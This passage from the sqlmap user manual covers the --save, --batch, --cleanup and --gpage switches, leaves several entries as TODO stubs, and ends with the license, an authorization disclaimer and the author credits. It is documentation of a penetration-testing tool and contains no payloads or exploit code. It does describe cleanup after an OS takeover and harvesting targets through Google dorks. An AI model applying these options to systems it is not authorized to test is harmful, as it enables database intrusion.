Switch: `--save`

It is possible to save the command line options to a configuration INI file. The generated file can then be edited and passed to sqlmap with the `-c` option as explained above.

5.15.7 Act in non-interactive mode

Switch: `--batch`

If you want sqlmap to run as a batch tool, without any user's interaction when sqlmap requires it, you can force that by using `--batch` switch. This will leave sqlmap to go with a default behaviour whenever user's input would be required.

5.16 Miscellaneous

5.16.1 TODO

Switch: `--beep`

TODO

5.16.2 TODO

Switch: `--check-payload`

TODO

5.16.3 Cleanup the DBMS from sqlmap specific UDF(s) and table(s)

Switch: `--cleanup`

It is recommended to clean up the back-end database management system from sqlmap temporary table(s) and created user-defined function(s) when you are done taking over the underlying operating system or file system. Switch `--cleanup` will attempt to clean up the DBMS and the file system wherever possible.

5.16.4 TODO

Switch: `--forms`

TODO

5.16.5 Use Google dork results from specified page number

Switch: `--gpage`

Default sqlmap behavior with option `-g` is to do a Google search and use the first 100 resulting URLs for further SQL injection testing. However, in combination with this option you can specify with this switch, `--gpage`, some page other than the first one to retrieve target URLs from.

5.16.6 TODO

Switch: `--parse-errors`

TODO

5.16.7 TODO

Switch: `--replicate`

TODO

6 License and copyright

sqlmap is released under the terms of the General Public License v2 . sqlmap is copyrighted by its developers .

7 Disclaimer

sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

Whatever you do with this tool is uniquely your responsibility. If you are not authorized to punch holes in the network you are attacking be aware that such action might get you in trouble with a lot of law enforcement agencies.

8 Authors

Bernardo Damele A. G. (inquis) - Lead developer. PGP Key ID: 0x05F5A30F

Miroslav Stampar (stamparm) - Developer. PGP Key ID: 0xB5397B1B